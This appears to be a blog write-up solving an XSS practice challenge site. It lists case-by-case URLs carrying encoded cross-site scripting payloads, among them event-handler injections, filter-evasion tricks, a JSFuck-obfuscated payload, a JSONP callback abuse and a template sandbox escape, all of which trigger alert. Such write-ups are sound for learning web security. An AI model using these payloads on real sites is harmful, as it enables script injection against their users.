Safflower's Blog Security Researcher

xss.shift-js.info Writeup

Web

https://xss.shift-js.info/case01.php?payload=%3Csvg%2Fonload%3Dalert`XSS`%3E

https://xss.shift-js.info/case02.php#%3Cimg/src=%22%22/onerror=alert%60XSS%60%3E

https://xss.shift-js.info/case03.php?payload=javascript%3Aalert%60XSS%60%2F

https://xss.shift-js.info/case04-1.php?payload=%24%7Balert%28%22XSS%22%29%7D

https://xss.shift-js.info/case04-2.php?payload=%24%7Balert%28%22XSS%22%29%7D

https://xss.shift-js.info/case05.php?payload=%24%3D~%5B%5D%3B%24%3D%7B___%3A%2B%2B%24%2C%24%24%24%24%3A%28%21%5B%5D%2B%22%22%29%5B%24%5D%2C__%24%3A%2B%2B%24%2C%24_%24_%3A%28%21%5B%5D%2B%22%22%29%5B%24%5D%2C_%24_%3A%2B%2B%24%2C%24_%24%24%3A%28%7B%7D%2B%22%22%29%5B%24%5D%2C%24%24_%24%3A%28%24%5B%24%5D%2B%22%22%29%5B%24%5D%2C_%24%24%3A%2B%2B%24%2C%24%24%24_%3A%28%21%22%22%2B%22%22%29%5B%24%5D%2C%24__%3A%2B%2B%24%2C%24_%24%3A%2B%2B%24%2C%24%24__%3A%28%7B%7D%2B%22%22%29%5B%24%5D%2C%24%24_%3A%2B%2B%24%2C%24%24%24%3A%2B%2B%24%2C%24___%3A%2B%2B%24%2C%24__%24%3A%2B%2B%24%7D%3B%24.%24_%3D%28%24.%24_%3D%24%2B%22%22%29%5B%24.%24_%24%5D%2B%28%24._%24%3D%24.%24_%5B%24.__%24%5D%29%2B%28%24.%24%24%3D%28%24.%24%2B%22%22%29%5B%24.__%24%5D%29%2B%28%28%21%24%29%2B%22%22%29%5B%24._%24%24%5D%2B%28%24.__%3D%24.%24_%5B%24.%24%24_%5D%29%2B%28%24.%24%3D%28%21%22%22%2B%22%22%29%5B%24.__%24%5D%29%2B%28%24._%3D%28%21%22%22%2B%22%22%29%5B%24._%24_%5D%29%2B%24.%24_%5B%24.%24_%24%5D%2B%24.__%2B%24._%24%2B%24.%24%3B%24.%24%24%3D%24.%24%2B%28%21%22%22%2B%22%22%29%5B%24._%24%24%5D%2B%24.__%2B%24._%2B%24.%24%2B%24.%24%24%3B%24.%24%3D%28%24.___%29%5B%24.%24_%5D%5B%24.%24_%5D%3B%24.%24%28%24.%24%28%24.%24%24%2B%22%5C%22%22%2B%24.%24_%24_%2B%28%21%5B%5D%2B%22%22%29%5B%24._%24_%5D%2B%24.%24%24%24_%2B%22%5C%5C%22%2B%24.__%24%2B%24.%24%24_%2B%24._%24_%2B%24.__%2B%22%28%5C%5C%5C%22%5C%5C%22%2B%24.__%24%2B%24._%24%24%2B%24.___%2B%22%5C%5C%22%2B%24.__%24%2B%24._%24_%2B%24._%24%24%2B%22%5C%5C%22%2B%24.__%24%2B%24._%24_%2B%24._%24%24%2B%22%5C%5C%5C%22%5C%5C%22%2B%24.%24__%2B%24.___%2B%22%29%22%2B%22%5C%22%22%29%28%29%29%28%29%3B

https://xss.shift-js.info/case06-1.php?payload=%3Csvg%2Fonload%3Dalert%60XSS%60%3E

https://xss.shift-js.info/case06-2.php?payload=%3Csvg%2Foonnload%3Dalert%60XSS%60%3E

https://xss.shift-js.info/case06-3.php?payload=%3Cscript%3Ealert`XSS`%3C/script%3E

https://xss.shift-js.info/case06-4.php?payload=%3Cscript%0a%3Ealert`XSS`%3C/script%3E

https://xss.shift-js.info/case07-1.php?payload=%3Csvg%2Fonload%3Dalert%28document.domain%29%3E

https://xss.shift-js.info/case07-2.php?payload=%3Csvg%2Fonload%3Dalert%28document.domain%29%3E

https://xss.shift-js.info/case08-1.php?payload=%22%2Fonmouseover%3D%22alert%26%2396%3BXSS%26%2396

https://xss.shift-js.info/case08-2.php?payload=%22%2Fonmouseover%3D%22document.body.innerHTML%3D%27%5Cx3c%5Cx69%5Cx6d%5Cx67%5Cx2f%5Cx73%5Cx72%5Cx63%5Cx3d%5Cx22%5Cx22%5Cx2f%5Cx6f%5Cx6e%5Cx65%5Cx72%5Cx72%5Cx6f%5Cx72%5Cx3d%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%5Cx60%5Cx58%5Cx53%5Cx53%5Cx60%5Cx3e%27

https://xss.shift-js.info/case09-1.php?payload=%3Csvg%2Fonload%3Dalert%60XSS%60%3E

https://xss.shift-js.info/case09-2.php?payload=%3Csvg%2Fonload%3Dalert%60XSS%60%3E

https://xss.shift-js.info/case20.php?payload=%3Cscript%2Fsrc%3D%2Fjsonp.php%3Fcallback%3Dalert%28%22XSS%22%29%3B%3E%3C/script%3E

https://xss.shift-js.info/case21.php?payload=%22+id%3D1+%3Cinput+id%3D%22equation%22+value%3Dalert`XSS`%3E%3C/body%3E%3C!--

https://xss.shift-js.info/case22.php?payload=%7B%7B+constructor.constructor%28%22alert%60XSS%60%22%29%28%29+%7D%7D

https://xss.shift-js.info/case23.php?payload=alert%28%27XSS%27%29%2F%2F%3Cscript+id%3D%22injectarea%22%3E%3C%2Fscript%3E%3Cdiv+id%3D

Similar Posts

Comments